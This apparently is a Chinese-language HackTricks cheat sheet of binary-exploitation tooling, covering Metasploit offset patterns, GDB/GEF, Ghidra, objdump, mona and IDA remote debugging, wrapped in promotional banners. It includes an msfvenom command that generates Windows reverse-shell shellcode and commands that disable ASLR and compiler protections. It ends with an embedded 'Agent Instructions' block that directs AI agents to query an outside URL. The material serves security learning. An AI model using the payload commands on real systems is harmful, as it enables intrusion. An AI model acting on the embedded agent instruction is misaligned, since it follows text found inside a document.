# Exploiting Tools
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ 支持HackTricks的其他方式： * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## Metasploit ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Shellcodes {% code overflow="wrap" %} ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` {% endcode %} ## GDB ### 安装 ```bash apt-get install gdb ``` ### 参数 ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` ### 说明 ```bash run # Execute start # Start and break in main n/next/ni # Execute next instruction (no inside) s/step/si # Execute next instruction c/continue # Continue until next breakpoint p system # Find the address of the system function set $eip = 0x12345678 # Change value of $eip help # Get help quit # exit # Disassemble disassemble main # Disassemble the function called main disassemble 0x12345678 # Disassemble taht address set disassembly-flavor intel # Use intel syntax set follow-fork-mode child/parent # Follow child/parent process # Breakpoints br func # Add breakpoint to function br *func+23 br *0x12345678 del # Delete that number of breakpoint watch EXPRESSION # Break if the value changes # info info functions --> Info abount functions info functions func --> Info of the funtion info registers --> Value of the registers bt # Backtrace Stack bt full # Detailed stack print variable print 0x87654321 - 0x12345678 # Caculate # x/examine examine/ dir_mem/reg/puntero # Shows content of in where each entry is a x/o 0xDir_hex x/2x $eip # 2Words from EIP x/2x $eip -4 # $eip - 4 x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) i r eip # Value of $eip x/w pointer # Value of the pointer x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) 您可以选择使用[**这个GEF的分支**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)，其中包含更多有趣的指令。 ```bash help memory # Get help on memory command canary # Search for canary value in memory checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings xinfo # Shows page, size, perms, memory area and offset of the addr in the page memory watch 0x784000 0x1000 byte #Add a view always showinf this memory got #Check got table memory watch $_got()+0x18 5 #Watch a part of the got table # Vulns detection format-string-helper #Detect insecure format strings heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Dump memory to file dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### 技巧 #### GDB相同地址 在调试过程中，GDB的地址**与执行二进制文件时使用的地址略有不同。** 您可以通过以下方式使GDB具有相同的地址： * `unset env LINES` * `unset env COLUMNS` * `set env _=` *将二进制文件的绝对路径放在这里* * 利用相同的绝对路径利用二进制文件 * 使用GDB和利用二进制文件时，`PWD`和`OLDPWD`必须相同 #### 回溯以查找调用的函数 当您有一个**静态链接的二进制文件**时，所有函数都将属于二进制文件（而不是外部库）。在这种情况下，**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\ 您可以通过**使用gdb运行**二进制文件直到要求输入为止来轻松识别此流程。然后，按下**CTRL+C**停止它，并使用\*\*`bt`\*\*（**backtrace**）命令查看调用的函数： ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### GDB 服务器 `gdbserver --multi 0.0.0.0:23947`（在IDA中，您必须填写Linux机器和Windows机器上可执行文件的绝对路径） ## Ghidra ### 查找堆栈偏移 **Ghidra** 对于查找**缓冲区溢出的偏移**非常有用，因为它提供了有关本地变量位置的信息。\ 例如，在下面的示例中，`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外，如果 `local_10` 是一个 canary cookie，则从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\ \&#xNAN;*请记住，保存RIP的第一个0x08属于RBP。* ![](/files/1BCyjLxhjVyNIRGv4PXD) ## qtool ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` 获取程序中执行的每个操作码。 ## GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 编译时去除保护机制\ \&#xNAN;**-o** --> 输出\ \&#xNAN;**-g** --> 保存代码（GDB 可以查看）\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在 Linux 中禁用 ASLR **编译 shellcode:**\ **nasm -f elf assembly.asm** --> 返回“.o” 文件\ **ld assembly.o -o shellcodeout** --> 可执行文件 ## Objdump **-d** --> **反汇编可执行文件** 部分（查看编译后的 shellcode 的操作码，查找 ROP Gadgets，查找函数地址...）\ \&#xNAN;**-Mintel** --> **Intel** 语法\ \&#xNAN;**-t** --> **符号** 表\ \&#xNAN;**-D** --> **反汇编所有**（静态变量的地址）\ \&#xNAN;**-s -j .dtors** --> dtors 部分\ \&#xNAN;**-s -j .got** --> got 部分\ -D -s -j .plt --> **plt** 部分 **反编译**\ \&#xNAN;**-TR** --> **重定位**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> 要修改的 "puts" 在 GOT 中的地址\ **objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址（这些存储在 DATA 部分）。 ## Core dumps 1. 在启动程序之前运行 `ulimit -c unlimited` 2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet ## 更多 **ldd executable | grep libc.so.6** --> 地址（如果启用 ASLR，则每次都会更改）\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否经常更改\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移 **strace executable** --> 可执行文件调用的函数\ **rabin2 -i ejecutable -->** 所有函数的地址 ## **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` ## IDA ### 在远程 Linux 中调试 在 IDA 文件夹中，您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做，请将二进制文件 `linux_server` 或 `linux_server64` 移动到 Linux 服务器中，并在包含二进制文件的文件夹中运行它： ``` ./linux_server64 -Ppass ``` 然后，配置调试器：调试器（linux 远程）--> 进程选项...: ![](/files/Pp0Bsr1L81DPIHndQjuH)
从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！ 支持 HackTricks 的其他方式： * 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。** * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://hacktricks.xsx.tw/binary-exploitation/basic-binary-exploitation-methodology/tools.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.